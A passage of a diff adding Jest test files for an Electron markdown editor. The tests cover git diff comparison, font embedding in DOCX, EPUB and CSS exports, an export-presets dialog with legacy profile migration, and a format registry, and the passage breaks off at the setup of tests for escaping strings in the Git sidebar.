      expect(ipcRenderer.invoke).toHaveBeenCalledWith('git-diff', {
        file: '/notes/report.md',
        againstHead: true,
      });
    });
    it('reports no differences when git returns an empty diff', async () => {
      ipcRenderer.invoke.mockImplementation((channel) => {
        if (channel === 'git-status') return { current: 'master', files: [] };
        if (channel === 'git-diff') return '';
        return {};
      });
      await flush();
      selectGitMode();
      clickCompare();
      await flush();
      expect(statusText()).toBe('No differences against HEAD.');
      expect(document.getElementById('compare-result').classList.contains('hidden')).toBe(true);
    });
    it('degrades to a disabled option with a hint outside a git repository', async () => {
      ipcRenderer.invoke.mockImplementation((channel) => {
        if (channel === 'git-status') return { error: 'Not a git repository' };
        return {};
      });
      openDialog('/plain/file.md');
      await flush();
      const gitOption = document.querySelector('#compare-mode-select option[value="git"]');
      expect(gitOption.disabled).toBe(true);
      const hint = document.getElementById('compare-git-hint');
      expect(hint.classList.contains('hidden')).toBe(false);
      expect(hint.textContent).toBe('Current file is not inside a git repository.');
      expect(ipcRenderer.invoke).not.toHaveBeenCalledWith('git-diff', expect.anything());
    });
    it('degrades to a disabled option with a hint when no file is open', async () => {
      openDialog(null);
      const gitOption = document.querySelector('#compare-mode-select option[value="git"]');
      expect(gitOption.disabled).toBe(true);
      const hint = document.getElementById('compare-git-hint');
      expect(hint.textContent).toContain('Open (or save) a file');
      expect(ipcRenderer.invoke).not.toHaveBeenCalledWith('git-diff', expect.anything());
    });
  });
 });
@@ -0,0 +1,62 @@
 const fs = require('fs');
 const path = require('path');
 const JSZip = require('jszip');
 const DocxFontEmbedder = require('../src/main/DocxFontEmbedder');
 describe('DocxFontEmbedder.embed', () => {
  const dir = path.join(__dirname, 'fixtures-docx');
  const docxPath = path.join(dir, 'in.docx');
  const fontPath = path.join(dir, 'fake.ttf');
  beforeAll(async () => {
    fs.mkdirSync(dir, { recursive: true });
    fs.writeFileSync(fontPath, 'fake-ttf-data');
    const zip = new JSZip();
    zip.file(
      '[Content_Types].xml',
      '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"></Types>'
    );
    zip.file(
      '_rels/.rels',
      '<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"></Relationships>'
    );
    zip.file(
      'word/document.xml',
      '<?xml version="1.0"?><w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/main"><w:body/></w:document>'
    );
    zip.file(
      'word/styles.xml',
      '<?xml version="1.0"?><w:styles xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/main"><w:style w:type="character" w:styleId="SourceCode"><w:name w:val="Source Code"/></w:style></w:styles>'
    );
    fs.writeFileSync(docxPath, await zip.generateAsync({ type: 'nodebuffer' }));
  });
  afterAll(() => fs.rmSync(dir, { recursive: true, force: true }));
  test('embeds TTF and patches fontTable.xml + styles.xml', async () => {
    const out = await DocxFontEmbedder.embed(docxPath, [
      { path: fontPath, family: 'JetBrains Mono', weight: 400 },
    ]);
    const zip = await JSZip.loadAsync(fs.readFileSync(out));
    expect(Object.keys(zip.files).some((f) => f.startsWith('word/fonts/'))).toBe(true);
    const fontTable = zip.file('word/fontTable.xml')
      ? await zip.file('word/fontTable.xml').async('string')
      : '';
    expect(fontTable).toContain('JetBrains Mono');
    expect(fontTable).toMatch(/<w:embedRegular/);
    const styles = await zip.file('word/styles.xml').async('string');
    expect(styles).toMatch(/<w:rFonts[^>]*w:ascii="JetBrains Mono"/);
  });
  test('is idempotent: running twice does not double-embed', async () => {
    const once = await DocxFontEmbedder.embed(docxPath, [
      { path: fontPath, family: 'JetBrains Mono', weight: 400 },
    ]);
    const twice = await DocxFontEmbedder.embed(once, [
      { path: fontPath, family: 'JetBrains Mono', weight: 400 },
    ]);
    const zip = await JSZip.loadAsync(fs.readFileSync(twice));
    const fontEntries = Object.keys(zip.files).filter((f) => /^word\/fonts\/[^/]+\.ttf$/.test(f));
    expect(fontEntries.length).toBe(1);
  });
 });
@@ -0,0 +1,34 @@
 const fs = require('fs');
 const path = require('path');
 const JSZip = require('jszip');
 const EpubFontEmbedder = require('../src/main/EpubFontEmbedder');
 describe('EpubFontEmbedder.patchManifest', () => {
  const fixturesDir = path.join(__dirname, 'fixtures');
  const epubPath = path.join(fixturesDir, 'fake.epub');
  const fontPath = path.join(fixturesDir, 'fake.ttf');
  beforeAll(async () => {
    fs.mkdirSync(fixturesDir, { recursive: true });
    fs.writeFileSync(fontPath, 'fake-ttf-binary');
    const zip = new JSZip();
    zip.file(
      'OEBPS/content.opf',
      '<?xml version="1.0"?><package xmlns="http://www.idpf.org/2007/opf"></package>'
    );
    fs.writeFileSync(epubPath, await zip.generateAsync({ type: 'nodebuffer' }));
  });
  afterAll(() => fs.rmSync(fixturesDir, { recursive: true, force: true }));
  test('adds a manifest entry referencing the TTF when missing', async () => {
    const patched = await EpubFontEmbedder.patchManifest(epubPath, [
      { path: fontPath, family: 'JetBrains Mono', weight: 400 },
    ]);
    const out = fs.readFileSync(patched);
    const zip = await JSZip.loadAsync(out);
    const opf = await zip.file('OEBPS/content.opf').async('string');
    expect(opf).toMatch(/<item[^>]*href="OEBPS\/fonts\/fake\.ttf"/);
    expect(opf).toMatch(/<item[^>]*media-type="application\/x-font-ttf"/);
  });
 });
@@ -0,0 +1,37 @@
 const fs = require('fs');
 const path = require('path');
 const ExportCss = require('../src/main/ExportCss');
 describe('ExportCss.build', () => {
  const fakeFontPath = path.join(__dirname, 'fixtures', 'fake.woff2');
  const fixture = Buffer.from('woff2-binary-fake-data');
  beforeAll(() => {
    fs.mkdirSync(path.dirname(fakeFontPath), { recursive: true });
    fs.writeFileSync(fakeFontPath, fixture);
  });
  afterAll(() => fs.rmSync(path.dirname(fakeFontPath), { recursive: true, force: true }));
  test('emits a self-contained CSS with embedded @font-face', () => {
    const css = ExportCss.build({
      activeFontPath: fakeFontPath,
      family: 'JetBrains Mono',
      weight: 400,
      ligatures: false,
    });
    expect(css).toMatch(/@font-face\s*\{[^}]*src:\s*url\('data:font\/woff2;base64,/);
    expect(css).toContain("font-family: 'JetBrains Mono'");
    expect(css).toMatch(/font-feature-settings:[^;]*liga[^;]*0/);
  });
  test('falls back to family-only CSS when font path is missing', () => {
    const css = ExportCss.build({
      activeFontPath: null,
      family: 'Fira Code',
      weight: 700,
      ligatures: true,
    });
    expect(css).not.toContain('data:font/woff2;');
    expect(css).toContain("font-family: 'Fira Code'");
  });
 });
@@ -0,0 +1,673 @@
 /**
 * Tests for the Export Presets dialog UI (Task 21).
 * Exercises the preset dropdown / save / delete flows of the export-options
 * dialog against a jsdom replica of the dialog's markup, with the electron
 * IPC surface mocked — following the jest.mock('electron') pattern in
 * document-compare-dialog.test.js.
 */
 jest.mock('electron', () => ({
  ipcRenderer: {
    invoke: jest.fn(),
    send: jest.fn(),
    on: jest.fn(),
    once: jest.fn(),
    removeAllListeners: jest.fn(),
  },
 }));
 const { ipcRenderer } = require('electron');
 const {
  initExportPresets,
  refreshExportPresets,
  captureDialogOptions,
  applyPresetToDialog,
 } = require('../src/renderer/export-presets');
 const flush = () => new Promise((resolve) => setTimeout(resolve, 20));
 function metadataRow(key = '', value = '') {
  const row = document.createElement('div');
  row.className = 'metadata-field';
  const keyInput = document.createElement('input');
  keyInput.type = 'text';
  keyInput.className = 'metadata-key';
  keyInput.value = key;
  const valueInput = document.createElement('input');
  valueInput.type = 'text';
  valueInput.className = 'metadata-value';
  valueInput.value = value;
  row.append(keyInput, valueInput);
  return row;
 }
 /**
 * Minimal replica of the #export-dialog markup in src/index.html — only the
 * elements the presets module reads or writes.
 */
 function buildDialogFixture(format = 'pdf') {
  document.body.innerHTML = `
    <div id="export-dialog" data-format="${format}">
      <div class="export-section export-presets">
        <div class="preset-controls">
          <div class="preset-dropdown">
            <button type="button" id="preset-dropdown-toggle">Custom Settings</button>
            <div id="preset-dropdown-list" class="preset-dropdown-list hidden"></div>
          </div>
          <button id="save-preset-btn" type="button">Save as preset</button>
        </div>
      </div>
      <input type="checkbox" id="advanced-export-toggle" />
      <div id="advanced-export-options" class="advanced-options hidden"></div>
      <div class="export-section pdf-only">
        <select id="pdf-engine">
          <option value="xelatex">XeLaTeX</option>
          <option value="pdflatex">PDFLaTeX</option>
          <option value="lualatex">LuaLaTeX</option>
        </select>
        <select id="pdf-geometry">
          <option value="margin=1in">1in</option>
          <option value="margin=2in">2in</option>
          <option value="custom">Custom</option>
        </select>
        <input type="text" id="custom-geometry" style="display: none" />
      </div>
      <div class="export-section revealjs-only">
        <select id="reveal-theme"><option value="black">black</option><option value="white">white</option></select>
        <select id="reveal-transition"><option value="slide">slide</option><option value="fade">fade</option></select>
        <select id="reveal-speed"><option value="default">default</option><option value="fast">fast</option></select>
        <input type="checkbox" id="reveal-slide-number" />
        <input type="checkbox" id="reveal-controls" />
        <input type="checkbox" id="reveal-progress" />
        <input type="checkbox" id="reveal-history" />
        <input type="checkbox" id="reveal-center" />
      </div>
      <div class="export-section">
        <select id="export-template">
          <option value="default">Default</option>
          <option value="custom">Custom</option>
        </select>
        <input type="file" id="template-file-input" style="display: none" />
        <input type="text" id="custom-template-path" style="display: none" />
        <div class="metadata-container"></div>
        <input type="checkbox" id="export-toc" />
        <input type="number" id="export-toc-depth" value="3" min="1" max="6" />
        <input type="checkbox" id="export-number-sections" />
        <input type="checkbox" id="export-citeproc" />
        <input type="text" id="bibliography-file" />
        <input type="text" id="csl-file" />
      </div>
      <div class="export-section">
        <input type="checkbox" id="basic-toc" />
        <input type="checkbox" id="basic-number-sections" />
        <select id="page-size">
          <option value="a4">A4</option>
          <option value="letter">Letter</option>
          <option value="custom">Custom</option>
        </select>
        <select id="page-orientation">
          <option value="portrait">Portrait</option>
          <option value="landscape">Landscape</option>
        </select>
        <div id="custom-page-size" style="display: none">
          <input type="text" id="custom-width" />
          <input type="text" id="custom-height" />
        </div>
      </div>
    </div>`;
  // Seed the four default metadata rows the dialog ships with.
  const container = document.querySelector('.metadata-container');
  ['title', 'author', 'date', 'subject'].forEach((key) => {
    container.appendChild(metadataRow(key, ''));
  });
 }
 const advancedPdfPreset = {
  id: 'preset-pdf1',
  name: 'Book PDF',
  format: 'pdf',
  options: {
    advancedMode: true,
    template: '/home/user/templates/book.tex',
    metadata: { title: 'My Book', author: 'Jane' },
    toc: true,
    tocDepth: 4,
    numberSections: true,
    citeproc: false,
    pdfEngine: 'lualatex',
    geometry: 'margin=2.5cm',
    bibliography: '/refs.bib',
    pageSize: 'custom',
    pageOrientation: 'landscape',
    customWidth: '210mm',
    customHeight: '297mm',
  },
 };
 const basicPreset = {
  id: 'preset-basic1',
  name: 'Quick HTML',
  format: 'html',
  options: {
    advancedMode: false,
    toc: true,
    numberSections: false,
    pageSize: 'letter',
    pageOrientation: 'portrait',
  },
 };
 function mockInvoke(presets) {
  ipcRenderer.invoke.mockImplementation((channel) => {
    if (channel === 'get-export-presets') return Promise.resolve(presets);
    return Promise.resolve(presets);
  });
 }
 function rows() {
  return Array.from(document.querySelectorAll('#preset-dropdown-list .preset-row'));
 }
 describe('Export presets dialog', () => {
  let notify;
  beforeEach(() => {
    buildDialogFixture('pdf');
    ipcRenderer.invoke.mockReset();
    notify = jest.fn();
    initExportPresets({ notify });
  });
  describe('refreshExportPresets', () => {
    it('loads presets via get-export-presets and renders one row per preset with a delete icon', async () => {
      mockInvoke([advancedPdfPreset, basicPreset]);
      await refreshExportPresets();
      await flush();
      expect(ipcRenderer.invoke).toHaveBeenCalledWith('get-export-presets');
      expect(rows()).toHaveLength(2);
      expect(rows()[0].textContent).toContain('Book PDF');
      expect(rows()[0].querySelector('.preset-delete')).not.toBeNull();
      expect(rows()[1].textContent).toContain('Quick HTML');
    });
    it('shows the format badge next to each preset name', async () => {
      mockInvoke([advancedPdfPreset]);
      await refreshExportPresets();
      await flush();
      expect(rows()[0].querySelector('.preset-format').textContent).toBe('pdf');
    });
    it('renders an empty notice when there are no presets', async () => {
      mockInvoke([]);
      await refreshExportPresets();
      await flush();
      expect(rows()).toHaveLength(0);
      expect(document.getElementById('preset-dropdown-list').textContent).toContain(
        'No saved presets'
      );
    });
    it('survives a rejected get-export-presets call without crashing', async () => {
      ipcRenderer.invoke.mockRejectedValue(new Error('boom'));
      await refreshExportPresets();
      await flush();
      expect(rows()).toHaveLength(0);
    });
  });
  describe('selecting a preset', () => {
    it('pre-fills every dialog field from an advanced PDF preset', async () => {
      mockInvoke([advancedPdfPreset]);
      await refreshExportPresets();
      await flush();
      rows()[0].querySelector('.preset-row-select').click();
      // Advanced mode
      expect(document.getElementById('advanced-export-toggle').checked).toBe(true);
      expect(document.getElementById('advanced-export-options').classList.contains('hidden')).toBe(
        false
      );
      // Template: custom path
      expect(document.getElementById('export-template').value).toBe('custom');
      expect(document.getElementById('custom-template-path').value).toBe(
        '/home/user/templates/book.tex'
      );
      expect(document.getElementById('custom-template-path').style.display).toBe('block');
      // Metadata rows rebuilt from the preset
      const keys = Array.from(document.querySelectorAll('.metadata-key')).map((i) => i.value);
      const values = Array.from(document.querySelectorAll('.metadata-value')).map((i) => i.value);
      expect(keys).toEqual(['title', 'author']);
      expect(values).toEqual(['My Book', 'Jane']);
      // Document options
      expect(document.getElementById('export-toc').checked).toBe(true);
      expect(document.getElementById('export-toc-depth').value).toBe('4');
      expect(document.getElementById('export-number-sections').checked).toBe(true);
      expect(document.getElementById('export-citeproc').checked).toBe(false);
      // PDF options with a non-preset geometry -> custom
      expect(document.getElementById('pdf-engine').value).toBe('lualatex');
      expect(document.getElementById('pdf-geometry').value).toBe('custom');
      expect(document.getElementById('custom-geometry').value).toBe('margin=2.5cm');
      expect(document.getElementById('custom-geometry').style.display).toBe('block');
      // Bibliography
      expect(document.getElementById('bibliography-file').value).toBe('/refs.bib');
      // Page setup
      expect(document.getElementById('page-size').value).toBe('custom');
      expect(document.getElementById('custom-page-size').style.display).toBe('block');
      expect(document.getElementById('custom-width').value).toBe('210mm');
      expect(document.getElementById('custom-height').value).toBe('297mm');
      expect(document.getElementById('page-orientation').value).toBe('landscape');
    });
    it('pre-fills basic-mode checkboxes and leaves advanced options hidden', async () => {
      mockInvoke([basicPreset]);
      await refreshExportPresets();
      await flush();
      rows()[0].querySelector('.preset-row-select').click();
      expect(document.getElementById('advanced-export-toggle').checked).toBe(false);
      expect(document.getElementById('advanced-export-options').classList.contains('hidden')).toBe(
        true
      );
      expect(document.getElementById('basic-toc').checked).toBe(true);
      expect(document.getElementById('basic-number-sections').checked).toBe(false);
      expect(document.getElementById('page-size').value).toBe('letter');
    });
    it('marks the selected row, updates the toggle label and closes the dropdown', async () => {
      mockInvoke([advancedPdfPreset, basicPreset]);
      await refreshExportPresets();
      await flush();
      document.getElementById('preset-dropdown-toggle').click();
      expect(document.getElementById('preset-dropdown-list').classList.contains('hidden')).toBe(
        false
      );
      rows()[1].querySelector('.preset-row-select').click();
      expect(rows()[1].classList.contains('selected')).toBe(true);
      expect(rows()[0].classList.contains('selected')).toBe(false);
      expect(document.getElementById('preset-dropdown-toggle').textContent).toBe('Quick HTML');
      expect(document.getElementById('preset-dropdown-list').classList.contains('hidden')).toBe(
        true
      );
    });
    it('resets stale field values when switching from a rich preset to a plain one', async () => {
      mockInvoke([advancedPdfPreset, basicPreset]);
      await refreshExportPresets();
      await flush();
      rows()[0].querySelector('.preset-row-select').click();
      rows()[1].querySelector('.preset-row-select').click();
      // The basic preset has no bibliography — the field must be cleared, not left over.
      expect(document.getElementById('bibliography-file').value).toBe('');
      expect(document.getElementById('advanced-export-toggle').checked).toBe(false);
    });
  });
  describe('saving the current dialog state as a preset', () => {
    it('prompts for a name and invokes save-export-preset with the captured options', async () => {
      mockInvoke([]);
      await refreshExportPresets();
      await flush();
      jest.spyOn(window, 'prompt').mockReturnValue('My Preset');
      // Configure the dialog the way a user would before saving.
      document.getElementById('advanced-export-toggle').checked = true;
      document.getElementById('export-toc').checked = true;
      document.getElementById('pdf-engine').value = 'pdflatex';
      document.getElementById('page-size').value = 'letter';
      document.getElementById('save-preset-btn').click();
      await flush();
      expect(ipcRenderer.invoke).toHaveBeenCalledWith(
        'save-export-preset',
        expect.objectContaining({
          name: 'My Preset',
          format: 'pdf',
        })
      );
      const saved = ipcRenderer.invoke.mock.calls.find((c) => c[0] === 'save-export-preset')[1];
      expect(saved.id).toMatch(/^preset-/);
      expect(saved.options.advancedMode).toBe(true);
      expect(saved.options.toc).toBe(true);
      expect(saved.options.pdfEngine).toBe('pdflatex');
      expect(saved.options.pageSize).toBe('letter');
      expect(notify).toHaveBeenCalledWith('Preset "My Preset" saved.', 'success');
    });
    it('re-renders the dropdown from the list returned by save-export-preset', async () => {
      // Mirror the main process: the saved preset echoes back with the id that was sent.
      ipcRenderer.invoke.mockImplementation((channel, payload) => {
        if (channel === 'get-export-presets') return Promise.resolve([]);
        return Promise.resolve([
          { id: payload.id, name: payload.name, format: payload.format, options: payload.options },
        ]);
      });
      await refreshExportPresets();
      await flush();
      jest.spyOn(window, 'prompt').mockReturnValue('My Preset');
      document.getElementById('save-preset-btn').click();
      await flush();
      expect(rows()).toHaveLength(1);
      expect(document.getElementById('preset-dropdown-toggle').textContent).toBe('My Preset');
    });
    it('reuses the selected preset id so saving overwrites instead of duplicating', async () => {
      mockInvoke([advancedPdfPreset]);
      await refreshExportPresets();
      await flush();
      rows()[0].querySelector('.preset-row-select').click();
      jest.spyOn(window, 'prompt').mockReturnValue('Book PDF v2');
      document.getElementById('save-preset-btn').click();
      await flush();
      const saved = ipcRenderer.invoke.mock.calls.find((c) => c[0] === 'save-export-preset')[1];
      expect(saved.id).toBe('preset-pdf1');
      expect(saved.name).toBe('Book PDF v2');
    });
    it('does nothing when the user cancels the name prompt', async () => {
      mockInvoke([]);
      await refreshExportPresets();
      await flush();
      jest.spyOn(window, 'prompt').mockReturnValue(null);
      document.getElementById('save-preset-btn').click();
      await flush();
      expect(ipcRenderer.invoke).toHaveBeenCalledTimes(1); // only the initial get
      expect(notify).not.toHaveBeenCalled();
    });
    it('warns and skips the save when the name is empty', async () => {
      mockInvoke([]);
      await refreshExportPresets();
      await flush();
      jest.spyOn(window, 'prompt').mockReturnValue('   ');
      document.getElementById('save-preset-btn').click();
      await flush();
      expect(ipcRenderer.invoke).toHaveBeenCalledTimes(1);
      expect(notify).toHaveBeenCalledWith('Preset name cannot be empty.', 'warning');
    });
    it('warns without throwing when the save IPC call rejects', async () => {
      ipcRenderer.invoke.mockImplementation((channel) =>
        channel === 'get-export-presets' ? Promise.resolve([]) : Promise.reject(new Error('disk'))
      );
      await refreshExportPresets();
      await flush();
      jest.spyOn(window, 'prompt').mockReturnValue('My Preset');
      document.getElementById('save-preset-btn').click();
      await flush();
      expect(notify).toHaveBeenCalledWith('Failed to save preset. Please try again.', 'warning');
    });
  });
  describe('deleting a preset', () => {
    it('asks for confirmation and invokes delete-export-preset with the row id', async () => {
      mockInvoke([advancedPdfPreset, basicPreset]);
      await refreshExportPresets();
      await flush();
      jest.spyOn(window, 'confirm').mockReturnValue(true);
      ipcRenderer.invoke.mockImplementation((channel) =>
        channel === 'delete-export-preset'
          ? Promise.resolve([basicPreset])
          : Promise.resolve([advancedPdfPreset, basicPreset])
      );
      rows()[0].querySelector('.preset-delete').click();
      await flush();
      expect(ipcRenderer.invoke).toHaveBeenCalledWith('delete-export-preset', 'preset-pdf1');
      expect(rows()).toHaveLength(1);
      expect(rows()[0].textContent).toContain('Quick HTML');
    });
    it('clears the selection when the deleted preset was selected', async () => {
      mockInvoke([advancedPdfPreset]);
      await refreshExportPresets();
      await flush();
      rows()[0].querySelector('.preset-row-select').click();
      jest.spyOn(window, 'confirm').mockReturnValue(true);
      ipcRenderer.invoke.mockImplementation((channel) =>
        channel === 'delete-export-preset'
          ? Promise.resolve([])
          : Promise.resolve([advancedPdfPreset])
      );
      rows()[0].querySelector('.preset-delete').click();
      await flush();
      expect(document.getElementById('preset-dropdown-toggle').textContent).toBe('Custom Settings');
    });
    it('does not invoke delete when the user cancels the confirmation', async () => {
      mockInvoke([advancedPdfPreset]);
      await refreshExportPresets();
      await flush();
      jest.spyOn(window, 'confirm').mockReturnValue(false);
      rows()[0].querySelector('.preset-delete').click();
      await flush();
      expect(ipcRenderer.invoke).toHaveBeenCalledTimes(1); // only the initial get
      expect(rows()).toHaveLength(1);
    });
  });
  describe('captureDialogOptions / applyPresetToDialog round-trip', () => {
    it('restores exactly what was captured, including reveal.js fields', () => {
      buildDialogFixture('revealjs');
      initExportPresets({ notify });
      document.getElementById('advanced-export-toggle').checked = true;
      document.getElementById('reveal-theme').value = 'white';
      document.getElementById('reveal-transition').value = 'fade';
      document.getElementById('reveal-speed').value = 'fast';
      document.getElementById('reveal-slide-number').checked = true;
      document.getElementById('reveal-controls').checked = false;
      document.getElementById('reveal-progress').checked = false;
      document.getElementById('reveal-history').checked = false;
      document.getElementById('reveal-center').checked = false;
      document.getElementById('csl-file').value = '/styles.csl';
      const captured = captureDialogOptions();
      buildDialogFixture('revealjs');
      initExportPresets({ notify });
      applyPresetToDialog({ options: captured });
      expect(document.getElementById('reveal-theme').value).toBe('white');
      expect(document.getElementById('reveal-transition').value).toBe('fade');
      expect(document.getElementById('reveal-speed').value).toBe('fast');
      expect(document.getElementById('reveal-slide-number').checked).toBe(true);
      expect(document.getElementById('reveal-controls').checked).toBe(false);
      expect(document.getElementById('reveal-progress').checked).toBe(false);
      expect(document.getElementById('reveal-history').checked).toBe(false);
      expect(document.getElementById('reveal-center').checked).toBe(false);
      expect(document.getElementById('csl-file').value).toBe('/styles.csl');
    });
    it('captures a preset geometry as-is and restores it back onto the select', () => {
      document.getElementById('advanced-export-toggle').checked = true;
      document.getElementById('pdf-geometry').value = 'margin=2in';
      const captured = captureDialogOptions();
      expect(captured.geometry).toBe('margin=2in');
      buildDialogFixture('pdf');
      initExportPresets({ notify });
      applyPresetToDialog({ options: captured });
      expect(document.getElementById('pdf-geometry').value).toBe('margin=2in');
      expect(document.getElementById('custom-geometry').style.display).toBe('none');
    });
    it('captures basic mode without any advanced keys leaking in', () => {
      const captured = captureDialogOptions();
      expect(captured.advancedMode).toBe(false);
      expect(captured.toc).toBe(false);
      expect(captured.template).toBeUndefined();
      expect(captured.pdfEngine).toBeUndefined();
    });
  });
  describe('one-time import of legacy localStorage export profiles', () => {
    const legacyBlob = JSON.stringify({
      'Quick HTML': {
        format: 'html',
        advancedMode: false,
        pageSize: 'letter',
        pageOrientation: 'portrait',
        basicToc: true,
        basicNumberSections: false,
      },
      'Book PDF': {
        format: 'pdf',
        advancedMode: true,
        pageSize: 'a4',
        pageOrientation: 'landscape',
        basicToc: false,
        basicNumberSections: false,
        template: 'custom',
        toc: true,
        tocDepth: '4',
        numberSections: true,
        citeproc: false,
        pdfEngine: 'lualatex',
        pdfGeometry: 'custom',
      },
    });
    function saveCalls() {
      return ipcRenderer.invoke.mock.calls.filter((call) => call[0] === 'save-export-preset');
    }
    function mockStoredValue(value) {
      jest.spyOn(window.Storage.prototype, 'getItem').mockReturnValue(value);
      return jest.spyOn(window.Storage.prototype, 'removeItem');
    }
    afterEach(() => {
      jest.restoreAllMocks();
    });
    it('imports every legacy profile through save-export-preset with the mapped shape', async () => {
      const removeItem = mockStoredValue(legacyBlob);
      ipcRenderer.invoke.mockResolvedValue([]);
      initExportPresets({ notify });
      await flush();
      await flush();
      const calls = saveCalls();
      expect(calls).toHaveLength(2);
      const quickHtml = calls.find(([, preset]) => preset.name === 'Quick HTML')[1];
      expect(quickHtml.id).toBe('preset-legacy-Quick HTML');
      expect(quickHtml.format).toBe('html');
      expect(quickHtml.options).toEqual({
        advancedMode: false,
        pageSize: 'letter',
        pageOrientation: 'portrait',
        toc: true, // basicToc -> toc (basic branch of collectExportOptions)
        numberSections: false, // basicNumberSections -> numberSections
      });
      const bookPdf = calls.find(([, preset]) => preset.name === 'Book PDF')[1];
      expect(bookPdf.id).toBe('preset-legacy-Book PDF');
      expect(bookPdf.format).toBe('pdf');
      expect(bookPdf.options).toEqual({
        advancedMode: true,
        pageSize: 'a4',
        pageOrientation: 'landscape',
        template: 'default', // legacy stored the raw select value; path was never persisted
        metadata: {},
        toc: true,
        tocDepth: '4',
        numberSections: true,
        citeproc: false,
        pdfEngine: 'lualatex',
        geometry: 'margin=1in', // legacy 'custom' literal had no restorable text -> default
      });
      // Import must never run twice.
      expect(removeItem).toHaveBeenCalledWith('exportProfiles');
      // Presets are refreshed after a successful import so the dropdown is current.
      expect(ipcRenderer.invoke).toHaveBeenCalledWith('get-export-presets');
    });
    it('keeps the legacy key when a save fails, so a retry upserts instead of duplicating', async () => {
      const removeItem = mockStoredValue(legacyBlob);
      ipcRenderer.invoke.mockRejectedValue(new Error('disk full'));
      const errorSpy = jest.spyOn(console, 'error').mockImplementation(() => {});
      initExportPresets({ notify });
      await flush();
      await flush();
      expect(saveCalls()).toHaveLength(1);
      expect(removeItem).not.toHaveBeenCalled();
      expect(errorSpy).toHaveBeenCalled();
      errorSpy.mockRestore();
    });
    it('skips gracefully on a malformed legacy blob without breaking dialog init', async () => {
      mockStoredValue('{"Quick HTML": not valid json');
      const errorSpy = jest.spyOn(console, 'error').mockImplementation(() => {});
      jest.spyOn(window, 'prompt').mockReturnValue(null);
      initExportPresets({ notify });
      await flush();
      await flush();
      expect(saveCalls()).toHaveLength(0);
      expect(jest.mocked(window.Storage.prototype.removeItem)).not.toHaveBeenCalled();
      expect(errorSpy).toHaveBeenCalled();
      // Dialog init unaffected: the save button still works.
      document.getElementById('save-preset-btn').click();
      await flush();
      expect(ipcRenderer.invoke).toHaveBeenCalledTimes(0);
      expect(notify).not.toHaveBeenCalled();
      errorSpy.mockRestore();
    });
    it('skips a legacy blob that is valid JSON but not a profile map', async () => {
      mockStoredValue(JSON.stringify(['not', 'a', 'map']));
      initExportPresets({ notify });
      await flush();
      await flush();
      expect(saveCalls()).toHaveLength(0);
      expect(jest.mocked(window.Storage.prototype.removeItem)).not.toHaveBeenCalled();
      expect(ipcRenderer.invoke).toHaveBeenCalledTimes(0);
    });
    it('is a no-op when the legacy key is absent', async () => {
      mockStoredValue(null);
      initExportPresets({ notify });
      await flush();
      await flush();
      expect(ipcRenderer.invoke).toHaveBeenCalledTimes(0);
      expect(jest.mocked(window.Storage.prototype.removeItem)).not.toHaveBeenCalled();
    });
  });
 });
@@ -0,0 +1,38 @@
 /**
 * Tests for the File-input path resolution helper (Electron 41 migration).
 * File.path was removed in Electron 32; getFilePath() routes through
 * window.electronAPI.getFilePath (webUtils.getPathForFile) when the bridge is
 * available and falls back to file.path otherwise (older Electron, jsdom).
 */
 const { getFilePath } = require('../src/utils/file-path');
 describe('getFilePath helper', () => {
  const originalAPI = window.electronAPI;
  afterEach(() => {
    window.electronAPI = originalAPI;
  });
  it('delegates to window.electronAPI.getFilePath when exposed', () => {
    const file = { path: '/stale/file.path' };
    window.electronAPI = { getFilePath: jest.fn(() => '/resolved/report.md') };
    expect(getFilePath(file)).toBe('/resolved/report.md');
    expect(window.electronAPI.getFilePath).toHaveBeenCalledWith(file);
  });
  it('falls back to file.path when the helper is absent', () => {
    const file = { path: '/legacy/electron/file.md' };
    window.electronAPI = { send: jest.fn() }; // no getFilePath on the surface
    expect(getFilePath(file)).toBe('/legacy/electron/file.md');
  });
  it('falls back to file.path when electronAPI is undefined', () => {
    const file = { path: '/no-bridge/file.md' };
    window.electronAPI = undefined;
    expect(getFilePath(file)).toBe('/no-bridge/file.md');
  });
 });
@@ -0,0 +1,39 @@
 const { FormatRegistry } = require('../src/plugins/format-registry');
 describe('FormatRegistry', () => {
  let registry;
  beforeEach(() => {
    registry = new FormatRegistry();
  });
  test('register — stores an entry retrievable by id', () => {
    const handler = jest.fn();
    registry.register('plugin-a:fmt', { label: 'Format A', extension: 'txt', handler });
    const entry = registry.get('plugin-a:fmt');
    expect(entry).toEqual({ label: 'Format A', extension: 'txt', handler });
  });
  test('get — returns undefined for unknown id', () => {
    expect(registry.get('nope')).toBeUndefined();
  });
  test('register — overwrites an existing id', () => {
    registry.register('plugin-a:fmt', { label: 'First' });
    registry.register('plugin-a:fmt', { label: 'Second' });
    expect(registry.get('plugin-a:fmt').label).toBe('Second');
  });
  test('getAll — returns all entries with id merged in', () => {
    registry.register('plugin-a:fmt', { label: 'Format A', extension: 'txt' });
    registry.register('plugin-b:fmt', { label: 'Format B', extension: 'csv' });
    const all = registry.getAll();
    expect(all).toHaveLength(2);
    expect(all).toContainEqual({ id: 'plugin-a:fmt', label: 'Format A', extension: 'txt' });
    expect(all).toContainEqual({ id: 'plugin-b:fmt', label: 'Format B', extension: 'csv' });
  });
  test('getAll — returns empty array when nothing registered', () => {
    expect(registry.getAll()).toEqual([]);
  });
 });
@@ -0,0 +1,146 @@
 /**
 * Tests for the Git sidebar panel XSS hardening.
 * renderGitPanel takes injected git operations (no electron mock needed); these tests
 * verify that repository-derived strings (branch names, file names, commit messages,
 * author names, error text) are HTML-escaped in both element and attribute contexts.
 */
 const { renderGitPanel } = require('../src/sidebar/git-panel');
 const flush = () => new Promise((resolve) => setTimeout(resolve, 20));
 const EMPTY_STATUS = { modified: [], not_added: [], created: [], deleted: [], staged: [] };
 const EMPTY_BRANCHES = () => ({ all: [], current: '' });
 function makeOps(overrides = {}) {
  return {
    gitStatus: jest.fn().mockResolvedValue(EMPTY_STATUS),
    gitDiff: jest.fn().mockResolvedValue(''),
    gitStage: jest.fn().mockResolvedValue({}),
    gitCommit: jest.fn().mockResolvedValue({}),
    gitLog: jest.fn().mockResolvedValue({ all: [] }),
    gitBranches: jest.fn().mockResolvedValue(EMPTY_BRANCHES()),
    gitCheckout: jest.fn().mockResolvedValue({}),
    gitPush: jest.fn().mockResolvedValue({}),
    gitPull: jest.fn().mockResolvedValue({}),
    ...overrides,
  };
